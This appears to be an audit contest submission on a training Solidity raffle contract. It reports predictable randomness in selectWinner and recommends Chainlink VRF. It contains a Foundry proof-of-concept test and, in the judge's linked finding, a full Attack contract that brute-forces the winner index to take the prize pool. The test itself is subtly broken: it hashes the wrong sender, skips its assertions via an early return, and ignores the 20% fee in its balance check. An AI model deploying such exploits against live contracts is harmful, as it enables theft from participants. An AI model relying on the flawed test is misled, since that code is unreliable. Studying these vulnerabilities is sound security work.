Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak randomness in selecting winner makes it possible to manipulate winner index

Weak randomness in selecting winner makes it possible to manipulate winner index

Description

  • After the raffle has ended can anyone call the selectWinnerfunction which then draws a winner and pays out prize money and NFT to winner.

  • The contract use psudorandomness to draw the winner (and rarity of NFT). This is possible to calculate and therefor its possible to manipulate the numbers to a users advantage.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
// @audit - psudorandom number generation is predictable and can be manipulated. In a production environment, consider using Chainlink VRF or another secure randomness source.
@> uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = totalSupply();
// We use a different RNG calculate from the winnerIndex to determine rarity
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}

Risk

Likelihood:

  • All inputs to the randomness function -- msg.sender, block.timestamp, and block.difficulty -- are either known in advanced or controllable by the caller, making it easy for any motivated attacker to simulate the outcome off-chain before committing a transaction.

Impact:

  • An attacker who can predict or manipulate the winner index can guarantee they win every raffle, stealing the entire prizepool from honest participants and rendering the NFT rarity system meaningless.

Proof of Concept

  1. Wait until raffleDurationhas passed

  2. Calculate the winnerIndexoff-chain until the index matches the attackers index

  3. Call selectWinner

function testManipulateRandomness() public {
// Players enter the raffle
address[] memory players = new address[](6);
players[0] = player1;
players[1] = player2;
players[2] = player3;
players[3] = player4;
players[4] = player5;
players[5] = attacker;
uint256 maxTries = 24;
uint256 totalEntranceFee = entranceFee * players.length;
raffle.enterRaffle{value: totalEntranceFee}(players);
uint256 attackerBalanceBefore = address(attacker).balance;
// Manipulate block properties to influence randomness
vm.warp(block.timestamp + 1 days); // Move forward in time
// Attacker checks every second if winnerIndex matches their index (5) and calls selectWinner when it does
for (uint256 i = 0; i < maxTries; i++) {
vm.warp(block.timestamp + 1); // Increment timestamp to change randomness
// Calculate the winner index based on the current block properties
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
// If the winner index matches the attacker's index, call selectWinner to claim the prize
if (players[winnerIndex] == attacker) {
vm.prank(attacker);
raffle.selectWinner();
return;
}
}
uint256 attackerBalanceAfter = address(attacker).balance;
// Asserts the last winner of raffle is the attacker
assertEq(raffle.previousWinner(), attacker);
// Asserts the attacker gets the prize money
assertEq(attackerBalanceAfter, attackerBalanceBefore + totalEntranceFee);
}

Recommended Mitigation

Use Chainlink VRF or another commit-reveal scheme for verifiable on-chain randomness.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!